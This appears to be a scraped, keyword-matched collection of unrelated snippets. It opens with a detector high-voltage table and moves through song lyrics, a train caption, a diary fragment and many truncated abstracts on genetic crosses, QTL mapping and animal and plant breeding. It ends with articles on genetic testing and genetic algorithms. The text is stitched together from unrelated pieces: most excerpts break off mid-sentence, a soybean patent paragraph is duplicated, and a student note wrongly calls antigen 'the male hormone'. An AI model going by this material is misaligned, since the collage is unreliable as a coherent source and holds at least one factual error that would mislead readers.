S0 A B Set HV (V) -1225 -1125 Read HV (V) -1227 -1125 I (uA) -305 -523 S2m 1L 2L 3L 4L 5L 6L 7L 8L 9L 10L 11L 12L 13L 14L 15L 16L Set HV (V) -1540 -1490 -1775 -1730 -1685 -1625 -1700 -1655 -1705 -1780 -1775 -1735 -1695 -1800 -1560 -1450 Read HV (V) -1540 -1492 -1776 -1731 -1686 -1625 -1700 -1656 -1706 -1780 -1775 -1738 -1697 -1802 -1562 -1451 I (uA) -584 -564 -675 -657 -642 -619 -644 -629 -646 -674 -676 -659 -643 -685 -591 -549 1R 2R 3R 4R 5R 6R 7R 8R 9R 10R 11R 12R 13R 14R 15R 16R Set HV (V) -1465 -1610 -1755 -1660 -1720 -1725 -1770 -1845 -1855 -1795 -1765 -1500 -1540 -1685 -1740 -1620 Read HV (V) -1465 -1612 -1757 -1660 -1720 -1726 -1771 -1846 -1857 -1796 -1766 -1501 -1541 -1685 -1741 -1621 I (uA) -555 -611 -668 -634 -653 -656 -670 -702 -714 -681 -669 -567 -584 -638 -661 -615 Cherenkov 1 2 3 4 5 6 7 8 9 10 Set HV (V) -1155 -1000 -1125 -995 -1025 -1120 -935 -965 -985 -1155 Read HV (V) -1153 -1002 -1126 -995 -1025 -1120 -936 -965 -986 -1157 I (uA) -389 -319 -393 -332 -338 -375 -308 -306 -319 ...
Every seed run at Mephisto Genetics, they like to make some crosses between their varieties. They have extra special plants going spare, and they just cant resist. There may be just a few hundred seeds made, and Mephisto Genetics dont plan to re-create
Summit cross in Austria. During the last Interregnum crosses in many regions were covered with yellow cloths. Interregnum is the time between two popes (after one dies and before the next one is elected).
We Found Love testo canzone cantato da Rune (X Factor): Yellow diamonds in the light And were standing side by side As your shadow crosses...
Westbound at Quincy Trail Road, Just west of Woodbine Iowa on the former IC. The giant 6 car train heads for Council Bluffs. At this point the CN parallels the CNW(UP) until it crosses over the UP at Willet about 2 miles west of Quincy Trail RD 134303
I wish I could be anywhere but here. I feel ill every time I hear the door open. Its too early and I begin to yearn for the comfort of my bed. I try to focus on the conversations around me, but nothing works. I cant stop thinking about what is about to happen. The thought that he might not come crosses my mind. I tell myself that he probably forgot; hes late. My thoughts comfort me, but not for long ...
Dear Netters, I would appreciate any information about the CAPS primers being used in crosses with No-O. Ill put together everything I get and post it back on the network. Thanks in advance, Haskell Adler ...
Life history traits such as fecundity are important to evolution because they make up components of lifetime fitness. Due to their polygenic architectures, such traits are difficult to investigate with genetic mapping. Therefore, little is known about their molecular basis. One possible way toward finding the underlying genes is to map intermediary molecular phenotypes, such as gene expression traits. We set out to map candidate quantitative trait genes for egg fecundity in the chicken by combining quantitative trait locus mapping in an advanced intercross of wild by domestic chickens with expression quantitative trait locus mapping in the same birds. We measured individual egg fecundity in 232 intercross chickens in two consecutive trials, the second one aimed at measuring brooding. We found 12 loci for different aspects of egg fecundity. We then combined the genomic confidence intervals of these loci with expression quantitative trait loci from bone and hypothalamus in the same intercross. ...
Since Darwin, researchers have made tremendous progress towards understanding how ecological, genetic and evolutionary factors acting within species lead to the evolution of reproductive isolation and ultimately the origin of new species (Coyne & Orr 2004). One problem that remains largely unresolved concerns the evolution of intrinsic postzygotic isolation. Investigating early stages in the evolution of postzygotic isolation in species, where alleles underlying postzygotic isolation are still polymorphic, is one promising approach.. Previous studies of postzygotic isolation between M. guttatus and M. nasutus have found reduced seed germination and male infertility in hybrids (Vickery 1956, 1973, 1978; Fishman & Willis 2001, 2006; Martin & Willis 2007). Vickery (1956, 1973, 1978) and Sweigart et al. (2007) provided evidence that postzygotic isolation within and among populations of both species varied geographically, though biometrical line crosses were not used to determine the genetic basis. ...
To create this landmark map, Comeron and colleagues generated recombinant advanced intercross lines (RAIL), derived from eight crosses among twelve wild-derived lines. To accurately identify crossover and noncrossover events, haplotype rather than genotype data are required, and Comeron and colleagues use a clever technique to recover haplotypes. RAIL females were individually crossed to D. simulans, and the genomes of single hybrid progeny were sequenced with Illumina technology. Reads mapping to D. simulans were removed bioinformatically to reveal a haploid, meiotically produced D. melanogaster genome. In all, over 100,000 recombination events were localized with kilobase-level precision.. Certainly, this genome-wide recombination map will empower population genetic and molecular evolutionary studies in Drosophila for years to come. However, the sheer number of events catalogued combined with the resolution at which breakpoints could be mapped facilitates a great deal more than quantifying ...
Year 01: Basic descriptive statistics and heritability measures for traits. Single-locus association and fast interval mapping for curated data sets from recombinant inbred lines. Fast empirical significance thresholds and/or permutation tests for single-locus association and fast interval mapping. Documentation and tutorials for these functions.. Year 02: Single locus association and standard interval mapping for the G10 advanced intercross. Graphic display of interval mapping results. Fast empirical significance thresholds and/or permutation tests for standard interval mapping. Data export in formats for other mapping software. Documentation and tutorials for these functions.. Year 03: Composite interval mapping for all curated data sets and empirical significance thresholds for these. Correlation of submitted traits among each other and with traits stored in the NTB. Documentation and tutorials for these functions.. Year 04: Detection and analysis of epistatic interactions between QTLs. ...
In this study, we evaluated conformation traits describing leg and feet condition, osteochondrosis score and bone mineral density, which are important in selection to reduce the risk of leg weakness in pigs. However, the genetics of LW-related traits is complex [12, 31]. A number of factors are known to influence the development of LW, such as nutrition imbalance, high body weight, rapid growth rate, bone and joint diseases, bad body and leg structure, and mechanical stress [11, 13]. Moreover, it has been reported that the degree of LW and OC may be related to the breed and sex of animals [32]. However, in our study there was no effect of gender on LW-related traits, which implies that frequencies of LW and OC vary and depend on the genetic background of the animals [33]. It has been reported that the Duroc pure breed shows the highest incidence of OC compared to other European pig breeds (Pietrain, Landrace and Yorkshire) [32]. Our data suggest that the unfavourable QTL allele for OC originates ...
0135]When the term "soybean plant" is used in the context of the present invention, this also includes any single gene conversions of that variety. The term single gene converted plant as used herein refers to those soybean plants which are developed by a plant breeding technique called backcrossing wherein essentially all of the desired morphological and physiological characteristics of a variety are recovered in addition to the single gene transferred into the variety via the backcrossing technique. Backcrossing methods can be used with the present invention to improve or introduce a characteristic into the variety. The term "backcrossing" as used herein refers to the repeated crossing of a hybrid progeny back to the recurrent parent, i.e., backcrossing 1, 2, 3, 4, 5, 6, 7, 8 or more times to the recurrent parent. The parental soybean plant that contributes the gene for the desired characteristic is termed the nonrecurrent or donor parent. This terminology refers to the fact that the ...
0132]When the term "soybean plant" is used in the context of the present invention, this also includes any single gene conversions of that variety. The term single gene converted plant as used herein refers to those soybean plants which are developed by a plant breeding technique called backcrossing wherein essentially all of the desired morphological and physiological characteristics of a variety are recovered in addition to the single gene transferred into the variety via the backcrossing technique. Backcrossing methods can be used with the present invention to improve or introduce a characteristic into the variety. The term "backcrossing" as used herein refers to the repeated crossing of a hybrid progeny back to the recurrent parent, i.e., backcrossing 1, 2, 3, 4, 5, 6, 7, 8 or more times to the recurrent parent. The parental soybean plant that contributes the gene for the desired characteristic is termed the nonrecurrent or donor parent. This terminology refers to the fact that the ...
The numbers of obese people and diabetic patients are ever increasing. Obesity and diabetes are high-risk conditions for chronic diseases, including certain types of cancer, such as colorectal cancer (CRC). The aim of this study was to develop a novel animal model in order to clarify the pathobiology of CRC development in obese and diabetic patients. We developed an animal model of obesity and colorectal cancer by breeding the C57BL/KsJ-db/db (db/db) mouse, an animal model of obesity and type II diabetes, and the C57BL/6J-ApcMin/+ (Min/+) mouse, a model of familial adenomatous polyposis. At 15 weeks of age, the N9 backcross generation of C57BL/KsJ-db/db-ApcMin/+ (db/db-Min/+) mice developed an increased incidence and multiplicity of adenomas in the intestinal tract when compared to the db/m-Min/+ and m/m-Min/+ mice. Blood biochemical profile showed significant increases in insulin (8.3-fold to 11.7-fold), cholesterol (1.2-fold to 1.7-fold), and triglyceride (1.2-fold to 1.3-fold) in the db/db-Min/+ mice
We present a model of a primary locus subject to viability selection and an unlinked locus that causes sex-specific modification of the segregation ratio at the primary locus. If there is a balanced polymorphism at the primary locus, a population undergoing Mendelian segregation can be invaded by modifier alleles that cause sex-specific biases in the segregation ratio. Even though this effect is particularly strong if reciprocal heterozygotes at the primary locus have distinct viabilities, as might occur with genomic imprinting, it also applies if reciprocal heterozygotes have equal viabilities. The expected outcome of the evolution of sex-specific segregation distorters is all-and-none segregation schemes in which one allele at the primary locus undergoes complete drive in spermatogenesis and the other allele undergoes complete drive in oogenesis. All-and-none segregation results in a population in which all individuals are maximally fit heterozygotes. Unlinked modifiers that alter the ...
Preliminary data representing two of five calf crops in Cycle IV of the Germ Plasm Evaluation Program are reported. Carcass and meat data from 454 steers produced by mating 11 sire breeds to Hereford and Angus dams were obtained. Hereford (H) and Angus (A) sires born in the late 1960s (original) and also 1982 to 1984 (new) were compared. Steers sired by the new sample of H and A sires were heavier at slaughter than those of original sires, whereas marbling and percentages of trimmed retail product (% TRP) have not changed. HA and AH had lower % TRP than most crosses. Longhorn crosses were lightest of all crosses and were average for % TRP and % Choice. Shorthorn crosses were similar to new HA and AH in % TRP and had a higher % Choice than all crosses. Piedmontese crosses were lighter and dressed higher than new HA and AH. A low percentage graded Choice, but they excelled in muscling, trimness, and % TRP. Steaks from Piedmontese crosses were more tender than those from most breeds. Salers ...
Claudia Sevillanos paper Empirical determination of breed-of-origin of alleles in three-breed cross pigs is among the top three highly accessed articles in Genetics Selection Evolution. As Breed4Food we are proud of this accomplishment.. Together with Jeremie Vandenplas, John Bastiaansen and Mario Calus, Claudia Sevillano investigated the performance of an approach that assigns breed-of-origin of alleles in real data of three-breed cross pigs. Their research is part of the LocalPork project with partners Wageningen University and Research, University of Viçosa, Topigs Norsvin, and Topigs Norsvin do Brasil. The project was supported by NWO and Breed4Food.. Including crossbred animals. Although breeding programs for pigs and poultry aim at improving crossbred performance, they mainly use training populations that consist of purebred animals. For some traits, for example residual feed intake, the genetic correlation between purebred and crossbred performance is low. Therefore, including ...
Read "Identification of a tandem duplicated array in the Rhox α locus on mouse chromosome X, Mammalian Genome" on DeepDyve, the largest online rental service for scholarly research with thousands of academic publications available at your fingertips.
Di Nicolantonio, R., Kostka, V., Kwitek, A., Jacob, H., Thomas, W.G. and Harrap, S.B. 2006, Fine mapping of Lvm1: a quantitative trait locus controlling heart size independently of blood pressure, Pulmonary pharmacology & therapeutics, vol. 19, no. 1, pp. 70-73, doi: 10.1016/j.pupt.2005.02.010. ...
If you have a question about this talk, please contact .. Anthony Doran1, Thomas Keane1,2, and The Mouse Genomes Project consortium 1Wellcome Trust Sanger Institute, Wellcome Genome Campus, Hinxton, UK 2EMBL-EBI, Wellcome Genome Campus, Hinxton, UK. The Mouse Genomes Project has completed the first draft assembled genome sequences and strain specific gene annotation for twelve classical laboratory and four wild-derived inbred mouse strains (WSB/EiJ, CAST /EiJ, PWK /PhJ, and SPRET /EiJ). These strains include all of the founders of the Collaborative Cross and Diversity Outbred Cross. We used a hybrid approach for genome annotation, combining evidence from the mouse reference Gencode annotation and strain-specific RNA -seq and PacBio cDNA, to identify novel strain-specific gene structures and alleles. Approx. 20,000 protein coding genes and 45,000 transcripts are annotated per strain. As these strains are fully inbred, we used heterozygous SNP density as a marker for highly polymorphic loci, and ...
Limitation of Number of Strains and Persistence of False Positive Loci in QTL Mapping Using Recombinant Inbred Strains. . Biblioteca virtual para leer y descargar libros, documentos, trabajos y tesis universitarias en PDF. Material universiario, documentación y tareas realizadas por universitarios en nuestra biblioteca. Para descargar gratis y para leer online.
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We will work to validate, dissect and characterize a QTL for kernel weight (KW) located on chromosome 6A. The QTL was identified in a RIL population derived the cross SS-MPV 57 x Massey when grown at Raleigh, NC for three years. The QTL has an additive effect of 1.75 mg. In this population, the KW QTL coincides with plant height QTL having an additive effect of 3.78 cm. Heterozygous plants were identified in F5-derived RIL for development of fine-mapping populations. This QTL region is physically large and spans the centromere. Observed recombination in the HIFs has been localized towards the ends of the QTL interval.. A second population of 358 RIL from the cross SS-MPV57 x LA95135 is being used to validate the KW QTL effect. This population is also being targeted for identification of additional QTL in regions more amenable to fine-mapping and cloning.. ...
Journal de Physique Letttres, Journal de Physique Archives représente une mine dinformations facile à consulter sur la manière dont la physique a été publiée depuis 1872.
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Antigen is the male hormone.. Each of our body cells have 46 chromosomes (23 pairs). Gene - controls a characteristic. Allelle - different form of gene. Gene - hair colour, Allele - blonde, brown, black, red etc. Gene - Eye colour, Allelle - blue, brown, green etc. Gene - Blood type, Allelle - A,B,AB,0. Some genetic diseases. Allelles can be: dominant = need one copy eg black hair or recessive = need two copies eg blonde hair. Genetic crosses (punnet squares). Mum is a carrier of cystic fybrosis and dad has cystic fybrosis. CF…. ...
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Home & Business Sutton Crosses:Flooring,Joiners,Painters & Decorators,Electricians,TV Aerials,Tilers,Replacement Windows,Plasterers,Bathroom Installation,Roofers,Locksmiths Sutton Crosses
Back in January, I was fortunate enough to catch the debut of Crosses at the Glass House. Crosses is a collaboration between Chino Moreno of the Deftones, Shaun Lopez of Far and Chuck Doom. They have released two EPs of material that incorporate dark synthesizers, haunting guitar melodies and sinewy bass grooves. The Satellite was a packed house for their warm up show prior to their dates out in Chile for Lollapalooza. ...
The inheritance of B-cell responsiveness to lipopolysaccharide (LPS) was studied in 55 crosses between mice of the low-responder strain C3H/HeJ and the high-responder strains B10.5M and C3H/Tif. F1 hybrid mice between the low-and the high-responder strains, showed in every case responses which were intermediate between the responses obtained with each parent. The responsiveness among F2 hybrid and backcross mice to either high- or low-responder parents, segregated into intermediate, high, or low categories, respectively. The present results are compatible with the hypothesis that responsiveness to LPS is determined by one single, codominantly expressed, autosomal gene. The capacity to develop a specific thymus-independent response to a hapten-LPS conjugate, also under genetical control, was found to segregate together with the capacity to develop polyclonal responses to LPS. ...
TY - JOUR. T1 - A novel quantitative trait locus, qCL1, involved in semi-dwarfism derived from Japanese rice cultivar Nipponbare. AU - Hori, Kiyosumi. AU - Yamamoto, Toshio. AU - Ebana, Kaworu. AU - Takeuchi, Yoshinobu. AU - Yano, Masahiro. PY - 2009/10/5. Y1 - 2009/10/5. N2 - To identify quantitative trait loci (QTLs) associated with culm length in Japanese japonica rice varieties, we conducted QTL analyses using a set of reciprocal backcrossed inbred lines (BILs) from crosses between Nipponbare and Koshihikari. We detected five QTLs in the two BILs that are involved in the culm-length difference between Nipponbare and Koshihikari. A QTL located on the short arm of chromosome 1, qCL1, was commonly detected near the simple sequence repeat (SSR) marker RM8068 in both BILs in three growing seasons. The Nipponbare allele of qCL1 shortened from 1.9 to 3.0 cm of culm length. Substitution lines (SLs) of Koshihikari in which the QTL was replaced with the Nipponbare allele exhibited decreased lengths of ...
Haplotype reconstruction in progeny from multiparent crosses requires specialized methods and software. These methods have evolved significantly over the past decade and we expect to see a continued increase in the overlap between heterozygous model systems and human genetic mapping. HAPPY, one of the first software packages developed for haplotype reconstruction in heterogeneous stocks, uses genotype calls and a dynamic programming algorithm for haplotype reconstruction (Mott et al. 2000). Our HMM implementation is more complex than dynamic programming but it provides probabilistic estimates of haplotypes (and diplotypes) that we can use to account for genotype uncertainty in genome scans. The current implementation is based on the marginal diplotype state probabilities. Implementation of a globally optimal reconstruction (Van der Bliek et al. 1988; Viterbi 1967) is planned for a future release of DOQTL.. We have implemented an EM algorithm to estimate HMM parameters directly from genotype or ...
Differences in floral morphologies affect pollination behaviour in many flowering plants. In the genus Oryza, several differences in the size of floral organs are known. In this study, we focused on the differences in the size of floral organs between common cultivated rice, Oryza sativa L. and its wild ancestor, O. rufipogon. We compared floral morphologies between cultivated rice O. sativa cv. Nipponbare and O. rufipogon W630. We first evaluated temporal changes in filament and anther lengths. W630 had longer filaments with rapid elongation within 15 min after spikelet opening. W630 also had longer anthers than Nipponbare, and size of anther was consistent throughout all time examined. We also analysed other six floral traits, and found that W630 had higher stigma and style length, as well as lemma and palea length, but lower lemma and palea width. Quantitative trait locus (QTL) analysis was performed to identify the loci controlling these floral traits, using backcross recombinant inbred
NIH Rare Diseases : 52 Proximal chromosome 18q deletion syndrome is a chromosome abnormality that occurs when there is a missing (deleted ) copy of genetic material from the part of the long (q) arm near the center of chromosome 18 . The severity of the condition and the signs and symptoms depend on the size and location of the deletion and which genes are involved. Features that often occur in people with proximal chromosome 18q deletion syndrome include developmental delay , intellectual disability , and distinctive facial features. The might also have seizures , low muscle tone (hypotonia ), speech and language delays, obesity, and short stature . Chromosome testing of both parents can provide more information on whether or not the deletion was inherited . In most cases, parents do not have any chromosomal anomaly. However, sometimes one parent is found to have a balanced translocation , where a piece of a chromosome has broken off and attached to another one with no gain or loss of genetic ...
Soybean [Glycine max (L.) Merr.] is an important oilseed crop which produces about 30 %of the worlds edible vegetable oil. The quality of soybean oil is determined by its fatty acid composition. Soybean oil high in oleic and low in linolenic fatty acids is desirable for human consumption and other uses. The objectives of this study were to identify quantitative trait loci (QTLs) for unsaturated fatty acids and to evaluate the genetic effects of single QTL and QTL combinations in soybean. A population of recombinant inbred lines derived from the cross of SD02-4-59 X A02-381100 was evaluated for fatty acid content in seven environments. In total, 516 polymorphic single nucleotide polymorphism markers, 477 polymorphic simple sequence repeat markers and three GmFAD3 geneswere used to genotype the mapping population. By using the composite interval mapping and/or the interval mapping method, a total of 15 QTLs for the three unsaturated fatty acids were detected in more than two environments. Two QTLs for
Attached is a new RFA from NIAAA on mapping of genes influencing complex alcohol-related behavior in rodents. The intent of this RFA is to encourage collaboration between behavioral scientists studying complex behavioral traits in rodents which might model human traits predisposing to alcoholism, and molecular geneticists with experience in mapping quantitative trait loci (QTL). Potential applicants desiring further information about this RFA are urged to contact me at the address below. Robert W. Karp Program Director, Genetics NIAAA rkarp at willco.niaaa.nih.gov DEPARTMENT OF HEALTH AND HUMAN SERVICES PUBLIC HEALTH SERVICE NATIONAL INSTITUTES OF HEALTH NATIONAL INSTITUTE ON ALCOHOL ABUSE AND ALCOHOLISM REQUEST FOR APPLICATIONS RFA AA-95-002 QTL MAPPING OF ALCOHOL-RELATED BEHAVIORAL TRAITS IN RODENTS DECEMBER 1994 PURPOSE The National Institute on Alcohol Abuse and Alcoholism (NIAAA) is seeking research proposals to map quantitative trait loci (QTL) influencing rat and mouse behavioral traits ...
Eslava AP, Alvarez MI, Burke PV, Delbrück M (July 1975). "Genetic recombination in sexual crosses of phycomyces". Genetics. 80 ...
Cross-presentation "Histocompatibility". Archived from the original on 2008-12-26. Retrieved 2009-01-21. Ting, JP; Trowsdale, J ... Apr 2002). "Genetic control of MHC class II expression". Cell. 109 Suppl: S21-33. doi:10.1016/s0092-8674(02)00696-7. PMID ...
Blue Cross Blue Shield of Tennessee. Retrieved 18 August 2016. Ludman, Mark (2009). The Encyclopedia of Genetic Disorders and ... The term is most commonly used in reference to the amount of genetic overlap that exists between two sets of people, with third ...
The males and females are separate genetic lines or breeds. The chicks they produce will therefore be hybrids or 'crosses'. ... The white feathered Arbor Acres birds were preferred to the higher performing dark feathered Red Cornish crosses. In 1964, ...
"Cross-Bering comparisons". Greenberg, Joseph H (2000). "Review of Michael Fortescue, Language Relations across Bering Strait: ... "Chukcho-Kamchatkan and Uralic: lexical evidence of their genetic relationship". In: Orientalia et Classica XI. Aspects of ... Evidence of their genetic relationship"[dead link] by Václav Blažek (2006). ...
There are certain genetic crosses that are lethal to the foal.) There is no point to re-breeding in such cases, so the stallion ... This is to ensure that the mare is healthy & able to carry a foal, and to check for genetic incompatibilities. ( ...
A recent study found considerable genetic diversity within L. nobilis, and that L. azorica is not genetically or ... Cruceiro (Cross). Iter Europe:Ilas Atlấntoas: Pontevedra. http://www.parquenacionalillasatlanticas.com/spa/informacion_saber_ ... "AFLP evaluation of genetic similarity among laurel populations (Laurus L.)". Euphytica. 122: 155-164. doi:10.1023/A: ...
Cross-Disorder Group of the Psychiatric Genomics Consortium; Genetic Risk Outcome of Psychosis (GROUP) Consortium (2013). " ... identified a list of 32 genes targeted by miR-137 by cross-referencing the global gene expression analysis of HCT 116 ...
... a finger lime and calamondin cross). Genetic analysis is starting to make sense of this complex phylogeny. Two citrus fruits ... Citrus phylogeny and genetic origin of important species as investigated by molecular markers. 2000 Assessing genetic diversity ... Citrofortunella hybrids include: Calamondin - (tangerine crossed with kumquat) Citrangequat - (citrange crossed with kumquat) ... lemon crossed with kumquat) Yuzuquat - Citrus ichangensis × reticulata - (yuzu crossed with kumquat) Citrocirus also according ...
Cross-Disorder Group of the Psychiatric Genomics Consortium; Genetic Risk Outcome of Psychosis (GROUP) Consortium (2013). " ...
The white rarely crosses the back. While some currently-identified overo patterns appear to be dominant or incomplete dominant ... It denotes patterns produced by at least three different genetic mechanisms: frame, splashed white or sabino, described below. ... Breeders who select for color are often careful not to cross the two patterns, and registries that include spotting color ...
Coyne, Jerry A. (25 de abril de 1985). «The genetic basis of Haldane's rule» (PDF). Nature. 314 (6013): 736-7388. doi:10.1038/ ... Coyne, Jerry A. (29 de setembro de 1988). «A couple of cross-pollinators» (PDF). Nature. 335 (6189): 467-467. doi:10.1038/ ... Coyne, J. A.; Kay, E. H.; Pruett-Jones, S. (2008). «The genetic basis of sexual dimorphism in birds». Evolution. 62: 214-219. ... Moehring, A. J.; Llopart, A.; Elwyn, S.; Coyne, J. A.; Mackay, T. F. C. (2006). «Genetic basis of prezygotic reproductive ...
Cross-sensitization[edit]. Cross-sensitization is a phenomenon in which sensitization to a stimulus is generalized to a related ... a b Croner S (1992). "Prediction and detection of allergy development: influence of genetic and environmental factors". J. ... In animals, cross-sensitization has been established between the consumption of many different types of drugs of abuse - in ... Barnes KC, Grant AV, Hansel NN, Gao P, Dunston GM (2007). "African Americans with asthma: genetic insights". Proc Am Thorac Soc ...
Genetic crosses of individuals found a general dominance hierarchy within the alleles. Allele combinations also determine not ... In other words, alleles did not enter into the genome from genetic transfer from other species. Different combinations of the ...
Genetic alterations in mouse models are similar to those found in human cancers. These models are generated by methods ... Comparative oncogenomics uses cross-species comparisons to identify oncogenes. This research involves studying cancer genomes, ... Cancer is a genetic disease caused by accumulation of DNA mutations and epigenetic alterations leading to unrestrained cell ... Before BRAF, the genetic mechanism of melanoma development was unknown and therefore prognosis for patients was poor. ...
Ethiopian varieties are infertile when crossed with Near Eastern varieties. This genetic incompatibility may reflect distinct ... Plant Genetic Resources Newsletter. Bioversity International. p. 25. Retrieved May 20, 2016. Cumo, C. (2015). Foods that ...
... can also solve dihybrid and multihybrid crosses. A problem is converted to a series of monohybrid crosses, and the results are ... Each genetic locus is always represented by two letters. So in the case of eye color, say "B = Brown eyes" and "b = green eyes ... The Punnett square is a diagram that is used to predict an outcome of a particular cross or breeding experiment. It is named ... "Mono" means "one"; this cross indicates that the examination of a single trait. This could mean (for example) eye color. ...
Cross-Disorder Group of the Psychiatric Genomics Consortium (September 2013). "Genetic relationship between five psychiatric ... by quantifying the total contribution of common genetic variants. Furthermore an increasing number of specific genetic loci are ... These studies began in the 70's and studied the impact of perinatal problems, genetic variants, sexual abuse and other adverse ... Twin studies estimate the influences of all genetic variants and effects, but, due to relying purely on relatedness information ...
Cross-breed animals Genetic hybrids of wild and domestic parents. They may be forms intermediate between both parents, forms ... The Single Genetic Regulatory Network Hypothesis claims that genetic changes in upstream regulators affect downstream systems. ... There is a genetic difference between domestic and wild populations. There is also such a difference between the domestication ... The archaeological and genetic data suggest that long-term bidirectional gene flow between wild and domestic stocks - including ...
It is also a cross-pollinator and is self-sterile. This means that P. juncea cannot self-fertilize; it must find another plant ... Self-sterilization increases the genetic diversity of a species. Psathyrostachys juncea is a perennial bunch grass that grows ... The current obstacle to wheat improvement is that cross-pollinating wheat and P. juncea is extremely difficult because their ...
Ingram AK, Cross GA, Horn D (December 2000). "Genetic manipulation indicates that ARD1 is an essential N(alpha)- ... "Range of genetic mutations associated with severe non-syndromic sporadic intellectual disability: an exome sequencing study". ...
More recent experiments are following up E&R predictions with RNAseq and genetic crosses. Such efforts in combining E&R with ... The other is from allele frequency change in standing genetic variation already present in a population of organisms. Other ... Elena, S. F.; Lenski, R. E. (2003). "Evolution experiments with microorganisms: the dynamics and genetic bases of adaptation". ... Elena SF, Lenski RE (June 2003). "Evolution experiments with microorganisms: the dynamics and genetic bases of adaptation". Nat ...
Cox K, Leyssen A, Mergeay J, Ronse A, Packet J, Denys L. Genetic assessment of Luronium natans in lower Belgium: analysis of ... Shallow water populations produce short-lived flowers which may cross-pollinate. Floating water-plantain appears to require a ... Kay QOF, John RV, Jones RA (1999) Biology, genetic variation and conservation of Luronium natans (L.) Raf. in Britain and ... This often results in populations with low genetic diversity. ...
... all the progeny derived from a particular cross possess the same cytoplasm (and genetic factors located in it) as the female ... A relationship exists between self-incompatibility and the phenomenon of cross-incompatibility. In general crosses between ... In some crosses there is no segmentation of the zygote (or it may be that the hybrid is extremely non-viable and changes occur ... A cross will produce offspring (mule or hinny) with 63 chromosomes, that will not form pairs, which means that they do not ...
Self-pollination limits the capability for genetic variation, whereas for cross-pollination the opposite is true. ... Two legumes used for pasture with cross-pollination are: Desmodium intortum and Desmodium uncinatum. When the flower is opened ... Legumes can either be self-pollinated or cross-pollinated. Pollination serves the purpose for the continuation of the species ... and its genetic materials to its offspring. ...
Several cross individuals have been born already. Members of the project hope that the Tauros cattle will one day be able to ... Meanwhile, the genetic relationship between a number of cattle breeds and the aurochs is examined. Following robust cattle ... By the end of 2015, over 150 animals of the founding breeds have been used in breeding, and almost 300 cross animals have been ... Not only the phenotype and robustness are in the focus of breeding, but also genetic information of the aurochs which might be ...
基因組圖譜主要可以分成兩種,一種是遺傳圖譜(genetic map),另一種則是物理圖譜(physical map)。遺傳圖譜是利用基因的重組率來做分析,單位是分莫甘(centimorgan)。這種圖譜表現出來的是基因或特定DNA片段之間的相對位置,而
Ryegrass is cross-pollinated by wind, so genes shuffle frequently. Farmers sprayed inexpensive Hoegrass year after year, ... Ryegrass populations were large, and had substantial genetic diversity, because farmers had planted many varieties. ... Ryegrass evolved a kind of "cross-resistance" that allowed it to rapidly break down a variety of herbicides. Australian farmers ... test for resistance and study the biochemical and genetic mechanisms of resistance. A collaboration with DuPont led to a ...
Genetic maps produced in four different crosses have been integrated to develop a consensus map of 353 RFLP and 65 SSR markers ... An integrated genetic map and a new set of simple sequence repeat markers for pearl millet, Pennisetum glaucum ... An integrated genetic map and a new set of simple sequence repeat markers for pearl millet, Pennisetum glaucum ... Over the past 10 years, resources have been established for the genetic analysis of pearl millet, Pennisetum glaucum (L.) R. Br ...
... keeping some genetic contact with sexual individuals. Diploid dandelions develop seeds after cross-pollination and are ... n.d. [http://fieldcrop.msu.edu/documents/GR03-050.pdf Utilizing DNA-based techniques to evaluate genetic diversity of common ...
... went into effect July 1 among Anthem Blue Cross fully-insured and self-insured members. ... Anthem Blue Cross Launches Program to Ensure Appropriate Use of Genetic Tests. Jul 31, 2017 ... NEW YORK (GenomeWeb) - Anthem Blue Cross announced on Frdiay a program to promote "appropriate use" of genetic tests and ... Home » Anthem Blue Cross Launches Program to Ensure Appropriate Use of Genetic Tests ...
Selective Inbreeding: Genetic Crosses Drive Apparent Adaptive Mutation in the Cairns-Foster System of Escherichia coli. Amanda ... Selective Inbreeding: Genetic Crosses Drive Apparent Adaptive Mutation in the Cairns-Foster System of Escherichia coli. Amanda ... Selective Inbreeding: Genetic Crosses Drive Apparent Adaptive Mutation in the Cairns-Foster System of Escherichia coli. Amanda ... Selective Inbreeding: Genetic Crosses Drive Apparent Adaptive Mutation in the Cairns-Foster System of Escherichia coli ...
Genetic and non-genetic correlates of vitamins K and D. Eur J Clin Nutr. 2009;63(4):458-64.CrossRefGoogle Scholar ... Genetic influence on serum 25-hydroxyvitamin D concentration in Korean men: a cross-sectional study. ... Several previous studies have investigated the effect of genetic factors on vitamin D status [8, 14, 15, 16, 17, 18, 19, 20]. ... Evidence for genetic regulation of vitamin D status in twins with multiple sclerosis. Am J Clin Nutr. 2008;88(2):441-7.CrossRef ...
Genetic Crosses, PLEASE HELP!. Genetics as it applies to evolution, molecular biology, and medical aspects. ... The question is: A cross between two pure breeding (Homozygous) corn plants was set up to produce an F1 generation. Complete:. ...
Considering this shortcoming, this paper proposed a hybrid of cross entropy with genetic algorithm (GA), called CEGA, on m- ... Cross entropy (CE), as a new metaheuristic, can be an alternative method to solve NWJSS problem. This method has been used in ... The results are compared with other metaheuritics: Genetic Algorithm-Simulated Annealing (GASA) and hybrid tabu search. The ... B. Santosa, M. Budiman and S. Wiratno, "A Cross Entropy-Genetic Algorithm for m-Machines No-Wait Job-ShopScheduling Problem," ...
... genetic testing can be helpful. It can be used to look for the gene changes linked to these syndromes. ... Because of these issues, you should seek genetic counseling before, during, and after any genetic testing. Remember, genetic ... Breast Cancer: Genetic Testing. Cancer is a disease of the genes. Most cancers develop as a result of genetic damage or a ... How is genetic testing done?. In most cases, a blood sample is needed to do genetic testing, but sometimes saliva, skin cells, ...
In this study, a new in vivo experimental model was used that recapitulates many of the genetic characteristics of an outbred ... By controlling viral dose, environment and demographic variables, we were able to focus on the role that host genetic variation ... environment and host genetic polymorphisms contribute to variable host responses and infectious outcomes. ... Genetic polymorphism Is the Subject Area "Genetic polymorphism" applicable to this article? Yes. No. ...
The fitness function of the genetic algorithm is The new genetic algorithm with multiple point crossover operators and multiple ... B. Biesinger, C. Schauer, B. Hu, and G. R. Raidl, "Enhancing a genetic algorithm with a solution archive to reconstruct cross ... A Solution to Reconstruct Cross-Cut Shredded Text Documents Based on Character Recognition and Genetic Algorithm. Hedong Xu, ... For the cross-cut shreds, the reconstruction of cross-cut shredded text documents (RCCSTD) problem proved to be NP-complete by ...
In this article, as a case study, we conducted both longitudinal and cross-sectional analyses of the ADNI data with several ... analysis of the phenotypic data from the baseline to month 48 identified more SNP-phenotype associations than cross-sectional ... Most existing genome-wide association analyses are cross-sectional, utilizing only phenotypic data at a single time point, e.g ... brain imaging (not clinical diagnosis) phenotypes, demonstrating the power gains of longitudinal analysis over cross-sectional ...
